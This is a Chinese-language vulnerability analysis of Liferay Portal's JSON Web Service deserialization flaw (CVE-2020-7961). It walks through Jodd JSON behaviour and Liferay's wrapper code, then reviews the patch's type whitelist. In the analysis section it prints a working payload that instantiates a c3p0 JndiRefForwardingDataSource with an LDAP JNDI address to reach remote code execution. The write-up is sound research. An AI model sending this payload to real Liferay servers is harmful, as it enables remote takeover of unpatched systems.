Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961)

作者:Longofo@知道創宇404實驗室 時間:2020年3月27日

之前在CODE WHITE上發布了一篇關於Liferay Portal JSON Web Service RCE的漏洞,之前是小夥伴在處理這個漏洞,後面自己也去看了。Liferay Portal對於JSON Web Service的處理,在6.1、6.2版本中使用的是 Flexjson庫,在7版本之後換成了Jodd Json。

總結起來該漏洞就是:Liferay Portal提供了Json Web Service服務,對於某些可以調用的端點,如果某個方法提供的是Object參數類型,那麼就能夠構造符合Java Beans的可利用惡意類,傳遞構造好的json反序列化串,Liferay反序列化時會自動調用惡意類的setter方法以及默認構造方法。不過還有一些細節問題,感覺還挺有意思,作者文中那張向上查找圖,想著idea也沒提供這樣方便的功能,應該是自己實現的查找工具,文中分析下Liferay使用JODD反序列化的情況。

01 JODD序列化與反序列化

參考官方使用手冊,先看下JODD的直接序列化與反序列化:

TestObject.java

package com.longofo;    import java.util.HashMap;    public class TestObject {      private String name;      private Object object;      private HashMap<String, String> hashMap;        public TestObject() {          System.out.println("TestObject default constractor call");      }        public String getName() {          System.out.println("TestObject getName call");          return name;      }        public void setName(String name) {          System.out.println("TestObject setName call");          this.name = name;      }        public Object getObject() {          System.out.println("TestObject getObject call");          return object;      }        public void setObject(Object object) {          System.out.println("TestObject setObject call");          this.object = object;      }        public HashMap<String, String> getHashMap() {          System.out.println("TestObject getHashMap call");          return hashMap;      }        public void setHashMap(HashMap<String, String> hashMap) {          System.out.println("TestObject setHashMap call");          this.hashMap = hashMap;      }        @Override      public String toString() {          return "TestObject{" +                  "name='" + name + ''' +                  ", object=" + object +                  ", hashMap=" + hashMap +                  '}';      }  }

TestObject1.java

package com.longofo;    public class TestObject1 {      private String jndiName;        public TestObject1() {          System.out.println("TestObject1 default constractor call");      }        public String getJndiName() {          System.out.println("TestObject1 getJndiName call");          return jndiName;      }        public void setJndiName(String jndiName) {          System.out.println("TestObject1 setJndiName call");          this.jndiName = jndiName;  //        Context context = new InitialContext();  //        context.lookup(jndiName);      }  }

Test.java

package com.longofo;    import jodd.json.JsonParser;  import jodd.json.JsonSerializer;    import java.util.HashMap;    public class Test {      public static void main(String[] args) {          System.out.println("test common usage");          test1Common();            System.out.println();          System.out.println();            System.out.println("test unsecurity usage");          test2Unsecurity();      }        public static void test1Common() {          TestObject1 testObject1 = new TestObject1();          testObject1.setJndiName("xxx");            HashMap hashMap = new HashMap<String, String>();          hashMap.put("aaa", "bbb");            TestObject testObject = new TestObject();          testObject.setName("ccc");          testObject.setObject(testObject1);          testObject.setHashMap(hashMap);            JsonSerializer jsonSerializer = new JsonSerializer();          String json = jsonSerializer.deep(true).serialize(testObject);          System.out.println(json);          System.out.println("----------------------------------------");            JsonParser jsonParser = new JsonParser();          TestObject dtestObject = jsonParser.map("object", TestObject1.class).parse(json, TestObject.class);          System.out.println(dtestObject);      }        public static void test2Unsecurity() {          TestObject1 testObject1 = new TestObject1();          testObject1.setJndiName("xxx");            HashMap hashMap = new HashMap<String, String>();          hashMap.put("aaa", "bbb");            TestObject testObject = new TestObject();          testObject.setName("ccc");          testObject.setObject(testObject1);          testObject.setHashMap(hashMap);            JsonSerializer jsonSerializer = new JsonSerializer();          String json = jsonSerializer.setClassMetadataName("class").deep(true).serialize(testObject);          System.out.println(json);          System.out.println("----------------------------------------");            JsonParser jsonParser = new JsonParser();          TestObject dtestObject = jsonParser.setClassMetadataName("class").parse(json);          System.out.println(dtestObject);      }  }

輸出:

test common usage  TestObject1 default constractor call  TestObject1 setJndiName call  TestObject default constractor call  TestObject setName call  TestObject setObject call  TestObject setHashMap call  TestObject getHashMap call  TestObject getName call  TestObject getObject call  TestObject1 getJndiName call  {"hashMap":{"aaa":"bbb"},"name":"ccc","object":{"jndiName":"xxx"}}  ----------------------------------------  TestObject default constractor call  TestObject setHashMap call  TestObject setName call  TestObject1 default constractor call  TestObject1 setJndiName call  TestObject setObject call  TestObject{name='ccc', object=com.longofo.TestObject1@6fdb1f78, hashMap={aaa=bbb}}      test unsecurity usage  TestObject1 default constractor call  TestObject1 setJndiName call  TestObject default constractor call  TestObject setName call  TestObject setObject call  TestObject setHashMap call  TestObject getHashMap call  TestObject getName call  TestObject getObject call  TestObject1 getJndiName call  {"class":"com.longofo.TestObject","hashMap":{"aaa":"bbb"},"name":"ccc","object":{"class":"com.longofo.TestObject1","jndiName":"xxx"}}  ----------------------------------------  TestObject1 default constractor call  TestObject1 setJndiName call  TestObject default constractor call  TestObject setHashMap call  TestObject setName call  TestObject setObject call  TestObject{name='ccc', object=com.longofo.TestObject1@65e579dc, hashMap={aaa=bbb}}

在Test.java中,使用了兩種方式,第一種是常用的使用方式,在反序列化時指定根類型(rootType);而第二種官方也不推薦這樣使用,存在安全問題,假設某個應用提供了接收JODD Json的地方,並且使用了第二種方式,那麼就可以任意指定類型進行反序列化了,不過Liferay這個漏洞給並不是這個原因造成的,它並沒有使用setClassMetadataName("class")這種方式。

02 Lifestyle對JODD的包裝

Liferay沒有直接使用JODD進行處理,而是重新包裝了JODD一些功能。程式碼不長,所以下面分別分析下Liferay對JODD的JsonSerializer與JsonParser的包裝。

1

JSONSerializerImpl

Liferay對JODD JsonSerializer的包裝是com.liferay.portal.json.JSONSerializerImpl類:

public class JSONSerializerImpl implements JSONSerializer {      private final JsonSerializer _jsonSerializer;//JODD的JsonSerializer,最後還是交給了JODD的JsonSerializer去處理,只不過包裝了一些額外的設置        public JSONSerializerImpl() {          if (JavaDetector.isIBM()) {//探測JDK              SystemUtil.disableUnsafeUsage();//和Unsafe類的使用有關          }            this._jsonSerializer = new JsonSerializer();      }        public JSONSerializerImpl exclude(String... fields) {          this._jsonSerializer.exclude(fields);//排除某個field不序列化          return this;      }        public JSONSerializerImpl include(String... fields) {          this._jsonSerializer.include(fields);//包含某個field進行序列化          return this;      }        public String serialize(Object target) {          return this._jsonSerializer.serialize(target);//調用JODD的JsonSerializer進行序列化      }        public String serializeDeep(Object target) {          JsonSerializer jsonSerializer = this._jsonSerializer.deep(true);//設置了deep後能序列化任意類型的field,包括集合等類型          return jsonSerializer.serialize(target);      }        public JSONSerializerImpl transform(JSONTransformer jsonTransformer, Class<?> type) {//設置轉換器,和下面的設置全局轉換器類似,不過這裡可以傳入自定義的轉換器(比如將某個類的Data field,格式為03/27/2020,序列化時轉為2020-03-27)          TypeJsonSerializer<?> typeJsonSerializer = null;          if (jsonTransformer instanceof TypeJsonSerializer) {              typeJsonSerializer = (TypeJsonSerializer)jsonTransformer;          } else {              typeJsonSerializer = new JoddJsonTransformer(jsonTransformer);          }            this._jsonSerializer.use(type, (TypeJsonSerializer)typeJsonSerializer);          return this;      }        public JSONSerializerImpl transform(JSONTransformer jsonTransformer, String field) {          TypeJsonSerializer<?> typeJsonSerializer = null;          if (jsonTransformer instanceof TypeJsonSerializer) {              typeJsonSerializer = (TypeJsonSerializer)jsonTransformer;          } else {              typeJsonSerializer = new JoddJsonTransformer(jsonTransformer);          }            this._jsonSerializer.use(field, (TypeJsonSerializer)typeJsonSerializer);          return this;      }        static {          //全局註冊,對於所有Array、Object、Long類型的數據,在序列化時都進行轉換單獨的轉換處理          JoddJson.defaultSerializers.register(JSONArray.class, new JSONSerializerImpl.JSONArrayTypeJSONSerializer());          JoddJson.defaultSerializers.register(JSONObject.class, new JSONSerializerImpl.JSONObjectTypeJSONSerializer());          JoddJson.defaultSerializers.register(Long.TYPE, new JSONSerializerImpl.LongToStringTypeJSONSerializer());          JoddJson.defaultSerializers.register(Long.class, new JSONSerializerImpl.LongToStringTypeJSONSerializer());      }        private static class LongToStringTypeJSONSerializer implements TypeJsonSerializer<Long> {          private LongToStringTypeJSONSerializer() {          }            public void serialize(JsonContext jsonContext, Long value) {              jsonContext.writeString(String.valueOf(value));          }      }        private static class JSONObjectTypeJSONSerializer implements TypeJsonSerializer<JSONObject> {          private JSONObjectTypeJSONSerializer() {          }            public void serialize(JsonContext jsonContext, JSONObject jsonObject) {              jsonContext.write(jsonObject.toString());          }      }        private static class JSONArrayTypeJSONSerializer implements TypeJsonSerializer<JSONArray> {          private JSONArrayTypeJSONSerializer() {          }            public void serialize(JsonContext jsonContext, JSONArray jsonArray) {              jsonContext.write(jsonArray.toString());          }      }  }

能看出就是設置了JODD JsonSerializer在序列化時的一些功能。

2

JSONDeserializerImpl

Liferay對JODD JsonParser的包裝是com.liferay.portal.json.JSONDeserializerImpl類:

public class JSONDeserializerImpl<T> implements JSONDeserializer<T> {      private final JsonParser _jsonDeserializer;//JsonParser,反序列化最後還是交給了JODD的JsonParser去處理,JSONDeserializerImpl包裝了一些額外的設置        public JSONDeserializerImpl() {          if (JavaDetector.isIBM()) {//探測JDK              SystemUtil.disableUnsafeUsage();//和Unsafe類的使用有關          }            this._jsonDeserializer = new PortalJsonParser();      }        public T deserialize(String input) {          return this._jsonDeserializer.parse(input);//調用JODD的JsonParser進行反序列化      }        public T deserialize(String input, Class<T> targetType) {          return this._jsonDeserializer.parse(input, targetType);//調用JODD的JsonParser進行反序列化,可以指定根類型(rootType)      }        public <K, V> JSONDeserializer<T> transform(JSONDeserializerTransformer<K, V> jsonDeserializerTransformer, String field) {//反序列化時使用的轉換器          ValueConverter<K, V> valueConverter = new JoddJsonDeserializerTransformer(jsonDeserializerTransformer);          this._jsonDeserializer.use(field, valueConverter);          return this;      }        public JSONDeserializer<T> use(String path, Class<?> clazz) {          this._jsonDeserializer.map(path, clazz);//為某個field指定具體的類型,例如file在某個類是介面或Object等類型,在反序列化時指定具體的          return this;      }  }

能看出也是設置了JODD JsonParser在反序列化時的一些功能。

03 Liferay 漏洞分析

Liferay在/api/jsonws API提供了幾百個可以調用的Webservice,負責處理的該API的Servlet也直接在web.xml中進行了配置:

隨意點一個方法看看:

看到這個有點感覺了,可以傳遞參數進行方法調用,有個p_auth是用來驗證的,不過反序列化在驗證之前,所以那個值對漏洞利用沒影響。根據CODE WHITE那篇分析,是存在參數類型為Object的方法參數的,那麼猜測可能可以傳入任意類型的類。可以先正常的抓包調用去調試下,這裡就不寫正常的調用調試過程了,簡單看一下post參數:

cmd={"/announcementsdelivery/update-delivery":{}}&p_auth=cqUjvUKs&formDate=1585293659009&userId=11&type=11&email=true&sms=true

總的來說就是Liferay先查找/announcementsdelivery/update-delivery對應的方法->其他post參數參都是方法的參數->當每個參數對象類型與與目標方法參數類型一致時->恢復參數對象->利用反射調用該方法。

但是抓包並沒有類型指定,因為大多數類型是String、long、int、List、map等類型,JODD反序列化時會自動處理。但是對於某些介面/Object類型的field,如果要指定具體的類型,該怎麼指定?

作者文中提到,Liferay Portal 7中只能顯示指定rootType進行調用,從上面Liferay對JODD JSONDeserializerImpl包裝來看也是這樣。如果要恢復某個方法參數是Object類型時具體的對象,那麼Liferay本身可能會先對數據進行解析,獲取到指定的類型,然後調用JODD的parse(path,class)方法,傳遞解析出的具體類型來恢復這個參數對象;也有可能Liferay並沒有這樣做。不過從作者的分析中可以看出,Liferay確實這樣做了。作者查找了jodd.json.Parser#rootType的調用圖(羨慕這樣的工具):

通過向上查找的方式,作者找到了可能存在能指定根類型的地方,在com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#JSONWebServiceActionImpl調用了com.liferay.portal.kernel.JSONFactoryUtil#looseDeserialize(valueString, parameterType), looseDeserialize調用的是JSONSerializerImpl,JSONSerializerImpl調用的是JODD的JsonParse.parse

com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#JSONWebServiceActionImpl再往上的調用就是Liferay解析Web Service參數的過程了。它的上一層JSONWebServiceActionImpl#_prepareParameters(Class<?>),JSONWebServiceActionImpl類有個_jsonWebServiceActionParameters屬性:

這個屬性中又保存著一個JSONWebServiceActionParametersMap,在它的put方法中,當參數以+開頭時,它的put方法以:分割了傳遞的參數,:之前是參數名,:之後是類型名。

而put解析的操作在com.liferay.portal.jsonwebservice.action.JSONWebServiceInvokerAction#_executeStatement中完成:

通過上面的分析與作者的文章,我們能知道以下幾點:

  1. Liferay 允許我們通過/api/jsonws/xxx調用Web Service方法
  2. 參數可以以+開頭,用:指定參數類型
  3. JODD JsonParse會調用類的默認構造方法,以及field對應的setter方法

所以需要找在setter方法中或默認構造方法中存在惡意操作的類。去看下marshalsec已經提供的利用鏈,可以直接找Jackson、帶Yaml的,看他們繼承的利用鏈,大多數也適合這個漏洞,同時也要看在Liferay中是否存在才能用。這裡用com.mchange.v2.c3p0.JndiRefForwardingDataSource這個測試,用/expandocolumn/add-column這個Service,因為他有java.lang.Object參數:

Payload如下:

cmd={"/expandocolumn/add-column":{}}&p_auth=Gyr2NhlX&formDate=1585307550388&tableId=1&name=1&type=1&+defaultData:com.mchange.v2.c3p0.JndiRefForwardingDataSource={"jndiName":"ldap://127.0.0.1:1389/Object","loginTimeout":0}

解析出了參數類型,並進行參數對象反序列化,最後到達了jndi查詢:

04 修補程式分析

Liferay修補程式增加了類型校驗,在com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#_checkTypeIsAssignable中:

private void _checkTypeIsAssignable(int argumentPos, Class<?> targetClass, Class<?> parameterType) {          String parameterTypeName = parameterType.getName();          if (parameterTypeName.contains("com.liferay") && parameterTypeName.contains("Util")) {//含有com.liferay與Util非法              throw new IllegalArgumentException("Not instantiating " + parameterTypeName);          } else if (!Objects.equals(targetClass, parameterType)) {//targetClass與parameterType不匹配時進入下一層校驗              if (!ReflectUtil.isTypeOf(parameterType, targetClass)) {//parameterType是否是targetClass的子類                  throw new IllegalArgumentException(StringBundler.concat(new Object[]{"Unmatched argument type ", parameterTypeName, " for method argument ", argumentPos}));              } else if (!parameterType.isPrimitive()) {//parameterType不是基本類型是進入下一層校驗                  if (!parameterTypeName.equals(this._jsonWebServiceNaming.convertModelClassToImplClassName(targetClass))) {//註解校驗                      if (!ArrayUtil.contains(_JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES, parameterTypeName)) {//白名單校驗,白名單類在_JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES中                          ServiceReference<Object>[] serviceReferences = _serviceTracker.getServiceReferences();                          if (serviceReferences != null) {                              String key = "jsonws.web.service.parameter.type.whitelist.class.names";                              ServiceReference[] var7 = serviceReferences;                              int var8 = serviceReferences.length;                                for(int var9 = 0; var9 < var8; ++var9) {                                  ServiceReference<Object> serviceReference = var7[var9];                                  List<String> whitelistedClassNames = StringPlus.asList(serviceReference.getProperty(key));                                  if (whitelistedClassNames.contains(parameterTypeName)) {                                      return;                                  }                              }                          }                            throw new TypeConversionException(parameterTypeName + " is not allowed to be instantiated");                      }                  }              }          }      }

_JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES所有白名單類在portal.properties中,有點長就不列出來了,基本都是以com.liferay開頭的類。

References

  • https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html
  • http://flexjson.sourceforge.net/
  • https://jodd.org/json/